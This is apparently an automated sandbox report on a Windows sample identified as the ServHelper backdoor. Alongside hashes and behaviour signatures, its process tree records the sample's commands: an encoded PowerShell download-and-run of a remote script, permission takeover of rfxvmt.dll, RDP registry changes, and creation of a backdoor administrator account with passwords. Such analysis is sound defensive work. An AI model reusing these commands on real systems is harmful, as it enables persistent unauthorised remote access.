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Analysis
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max time kernel
131s -
max time network
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platform
windows7_x64 -
resource
win7-en-20210920 -
submitted
29/09/2021, 16:05
Static task
static1
Behavioral task
behavioral1
Sample
74f029d2fd587f9e25091f7832bea2f2.exe
Resource
win7-en-20210920
Behavioral task
behavioral2
Sample
74f029d2fd587f9e25091f7832bea2f2.exe
Resource
win10-en-20210920
General
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Target
74f029d2fd587f9e25091f7832bea2f2.exe
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Size
5.7MB
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MD5
74f029d2fd587f9e25091f7832bea2f2
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SHA1
76fb2d051d6dc938ba2b7131ef1b21c0fe2ad60c
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SHA256
5f0c0223d10468b9130a240432342f4056c6d7c2f6f89469c9d971bcea31255a
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SHA512
0386c61a89b414ab50c2c7b371d2bab288bde154da35c643de423622b05e99fcc748f5b0b9e53f8da00e6dccd02cf535b6d41c15fbddfa732a599db3bac45a23
Malware Config
Extracted
https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1
Signatures
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ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
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Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
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Blocklisted process makes network request 2 IoCs
flow pid Process 5 1648 powershell.exe 6 1648 powershell.exe -
Modifies RDP port number used by Windows 1 TTPs
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Possible privilege escalation attempt 8 IoCs
pid Process 924 icacls.exe 1408 icacls.exe 656 takeown.exe 756 icacls.exe 560 icacls.exe 1324 icacls.exe 920 icacls.exe 592 icacls.exe -
Sets DLL path for service in the registry 2 TTPs
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resource yara_rule behavioral1/files/0x000800000001221a-132.dat upx behavioral1/files/0x000a000000012222-133.dat upx -
Loads dropped DLL 2 IoCs
pid Process 2036 Process not Found 2036 Process not Found -
Modifies file permissions 1 TTPs 8 IoCs
pid Process 924 icacls.exe 1408 icacls.exe 656 takeown.exe 756 icacls.exe 560 icacls.exe 1324 icacls.exe 920 icacls.exe 592 icacls.exe -
Drops file in System32 directory 1 IoCs
description ioc Process File created C:\Windows\system32\rfxvmt.dll powershell.exe -
Drops file in Windows directory 9 IoCs
description ioc Process File created C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\TGDL3AXA8FFVAX8HIEMC.temp powershell.exe File created C:\Windows\branding\mediasvc.png powershell.exe File opened for modification C:\Windows\branding\mediasrv.png powershell.exe File opened for modification C:\Windows\branding\mediasvc.png powershell.exe File opened for modification C:\Windows\branding\ShellBrd powershell.exe File opened for modification C:\Windows\branding\wupsvc.jpg powershell.exe File created C:\Windows\branding\mediasrv.png powershell.exe File created C:\Windows\branding\wupsvc.jpg powershell.exe File opened for modification C:\Windows\branding\Basebrd powershell.exe -
Modifies data under HKEY_USERS 4 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 00b868dc4bb5d701 powershell.exe -
Modifies registry key 1 TTPs 1 IoCs
pid Process 1040 reg.exe -
Runs net.exe
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Suspicious behavior: EnumeratesProcesses 8 IoCs
pid Process 752 powershell.exe 620 powershell.exe 1296 powershell.exe 1612 powershell.exe 752 powershell.exe 752 powershell.exe 752 powershell.exe 1648 powershell.exe -
Suspicious behavior: LoadsDriver 5 IoCs
pid Process 464 Process not Found 2036 Process not Found 2036 Process not Found 2036 Process not Found 2036 Process not Found -
Suspicious use of AdjustPrivilegeToken 18 IoCs
description pid Process Token: SeDebugPrivilege 752 powershell.exe Token: SeDebugPrivilege 620 powershell.exe Token: SeDebugPrivilege 1296 powershell.exe Token: SeDebugPrivilege 1612 powershell.exe Token: SeRestorePrivilege 560 icacls.exe Token: SeAssignPrimaryTokenPrivilege 560 WMIC.exe Token: SeIncreaseQuotaPrivilege 560 WMIC.exe Token: SeAuditPrivilege 560 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 560 WMIC.exe Token: SeIncreaseQuotaPrivilege 560 WMIC.exe Token: SeAuditPrivilege 560 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 920 WMIC.exe Token: SeIncreaseQuotaPrivilege 920 WMIC.exe Token: SeAuditPrivilege 920 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 920 WMIC.exe Token: SeIncreaseQuotaPrivilege 920 WMIC.exe Token: SeAuditPrivilege 920 WMIC.exe Token: SeDebugPrivilege 1648 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1124 wrote to memory of 752 1124 74f029d2fd587f9e25091f7832bea2f2.exe 28 PID 1124 wrote to memory of 752 1124 74f029d2fd587f9e25091f7832bea2f2.exe 28 PID 1124 wrote to memory of 752 1124 74f029d2fd587f9e25091f7832bea2f2.exe 28 PID 752 wrote to memory of 364 752 powershell.exe 30 PID 752 wrote to memory of 364 752 powershell.exe 30 PID 752 wrote to memory of 364 752 powershell.exe 30 PID 364 wrote to memory of 1256 364 csc.exe 31 PID 364 wrote to memory of 1256 364 csc.exe 31 PID 364 wrote to memory of 1256 364 csc.exe 31 PID 752 wrote to memory of 620 752 powershell.exe 32 PID 752 wrote to memory of 620 752 powershell.exe 32 PID 752 wrote to memory of 620 752 powershell.exe 32 PID 752 wrote to memory of 1296 752 powershell.exe 34 PID 752 wrote to memory of 1296 752 powershell.exe 34 PID 752 wrote to memory of 1296 752 powershell.exe 34 PID 752 wrote to memory of 1612 752 powershell.exe 36 PID 752 wrote to memory of 1612 752 powershell.exe 36 PID 752 wrote to memory of 1612 752 powershell.exe 36 PID 752 wrote to memory of 656 752 powershell.exe 38 PID 752 wrote to memory of 656 752 powershell.exe 38 PID 752 wrote to memory of 656 752 powershell.exe 38 PID 752 wrote to memory of 756 752 powershell.exe 39 PID 752 wrote to memory of 756 752 powershell.exe 39 PID 752 wrote to memory of 756 752 powershell.exe 39 PID 752 wrote to memory of 560 752 powershell.exe 40 PID 752 wrote to memory of 560 752 powershell.exe 40 PID 752 wrote to memory of 560 752 powershell.exe 40 PID 752 wrote to memory of 1324 752 powershell.exe 41 PID 752 wrote to memory of 1324 752 powershell.exe 41 PID 752 wrote to memory of 1324 752 powershell.exe 41 PID 752 wrote to memory of 920 752 powershell.exe 42 PID 752 wrote to memory of 920 752 powershell.exe 42 PID 752 wrote to memory of 920 752 powershell.exe 42 PID 752 wrote to memory of 592 752 powershell.exe 43 PID 752 wrote to memory of 592 752 powershell.exe 43 PID 752 wrote to memory of 592 752 powershell.exe 43 PID 752 wrote to memory of 924 752 powershell.exe 44 PID 752 wrote to memory of 924 752 powershell.exe 44 PID 752 wrote to memory of 924 752 powershell.exe 44 PID 752 wrote to memory of 1408 752 powershell.exe 45 PID 752 wrote to memory of 1408 752 powershell.exe 45 PID 752 wrote to memory of 1408 752 powershell.exe 45 PID 752 wrote to memory of 1652 752 powershell.exe 46 PID 752 wrote to memory of 1652 752 powershell.exe 46 PID 752 wrote to memory of 1652 752 powershell.exe 46 PID 752 wrote to memory of 1040 752 powershell.exe 47 PID 752 wrote to memory of 1040 752 powershell.exe 47 PID 752 wrote to memory of 1040 752 powershell.exe 47 PID 752 wrote to memory of 748 752 powershell.exe 48 PID 752 wrote to memory of 748 752 powershell.exe 48 PID 752 wrote to memory of 748 752 powershell.exe 48 PID 752 wrote to memory of 1060 752 powershell.exe 49 PID 752 wrote to memory of 1060 752 powershell.exe 49 PID 752 wrote to memory of 1060 752 powershell.exe 49 PID 1060 wrote to memory of 1460 1060 net.exe 50 PID 1060 wrote to memory of 1460 1060 net.exe 50 PID 1060 wrote to memory of 1460 1060 net.exe 50 PID 752 wrote to memory of 1664 752 powershell.exe 51 PID 752 wrote to memory of 1664 752 powershell.exe 51 PID 752 wrote to memory of 1664 752 powershell.exe 51 PID 1664 wrote to memory of 1280 1664 cmd.exe 52 PID 1664 wrote to memory of 1280 1664 cmd.exe 52 PID 1664 wrote to memory of 1280 1664 cmd.exe 52 PID 1280 wrote to memory of 1308 1280 cmd.exe 53
Processes
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C:\Users\Admin\AppData\Local\Temp\74f029d2fd587f9e25091f7832bea2f2.exe"C:\Users\Admin\AppData\Local\Temp\74f029d2fd587f9e25091f7832bea2f2.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:1124 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'2⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:752 -
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe"C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\chefirnv.cmdline"3⤵
- Suspicious use of WriteProcessMemory
PID:364 -
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC4A6.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCC495.tmp"4⤵PID:1256
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:620
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1296
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1612
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C:\Windows\system32\takeown.exe"C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:656
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:756
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:560
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1324
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:920
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:592
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:924
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1408
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f3⤵PID:1652
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f3⤵
- Modifies registry key
PID:1040
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f3⤵PID:748
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C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add3⤵
- Suspicious use of WriteProcessMemory
PID:1060 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add4⤵PID:1460
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr3⤵
- Suspicious use of WriteProcessMemory
PID:1664 -
C:\Windows\system32\cmd.execmd /c net start rdpdr4⤵
- Suspicious use of WriteProcessMemory
PID:1280 -
C:\Windows\system32\net.exenet start rdpdr5⤵PID:1308
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 start rdpdr6⤵PID:1476
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService3⤵PID:1368
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C:\Windows\system32\cmd.execmd /c net start TermService4⤵PID:1760
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C:\Windows\system32\net.exenet start TermService5⤵PID:1736
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 start TermService6⤵PID:1768
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f3⤵PID:364
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f3⤵PID:824
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C:\Windows\System32\cmd.execmd /C net.exe user wgautilacc Ghar4f5 /del1⤵PID:1128
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C:\Windows\system32\net.exenet.exe user wgautilacc Ghar4f5 /del2⤵PID:1936
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 user wgautilacc Ghar4f5 /del3⤵PID:1688
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C:\Windows\System32\cmd.execmd /C net.exe user wgautilacc DAJ4jCGZ /add1⤵PID:1604
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C:\Windows\system32\net.exenet.exe user wgautilacc DAJ4jCGZ /add2⤵PID:1336
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 user wgautilacc DAJ4jCGZ /add3⤵PID:868
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD1⤵PID:1320
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C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD2⤵PID:1836
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD3⤵PID:1752
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD1⤵PID:1648
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C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD2⤵PID:396
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD3⤵PID:1076
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD1⤵PID:1812
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C:\Windows\system32\net.exenet.exe LOCALGROUP "Administrators" wgautilacc /ADD2⤵PID:1880
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD3⤵PID:1676
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C:\Windows\System32\cmd.execmd /C net.exe user wgautilacc DAJ4jCGZ1⤵PID:1144
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C:\Windows\system32\net.exenet.exe user wgautilacc DAJ4jCGZ2⤵PID:1460
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 user wgautilacc DAJ4jCGZ3⤵PID:1776
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C:\Windows\System32\cmd.execmd.exe /C wmic path win32_VideoController get name1⤵PID:1688
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C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name2⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:560
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C:\Windows\System32\cmd.execmd.exe /C wmic CPU get NAME1⤵PID:676
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C:\Windows\System32\Wbem\WMIC.exewmic CPU get NAME2⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:920
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C:\Windows\System32\cmd.execmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA1⤵PID:1104
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C:\Windows\system32\cmd.execmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA2⤵PID:1652
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA3⤵
- Blocklisted process makes network request
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1648
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C:\Windows\System32\cmd.execmd.exe /C net user wgautilacc 12341⤵PID:1724
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C:\Windows\system32\net.exenet user wgautilacc 12342⤵PID:1644
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 user wgautilacc 12343⤵PID:1324
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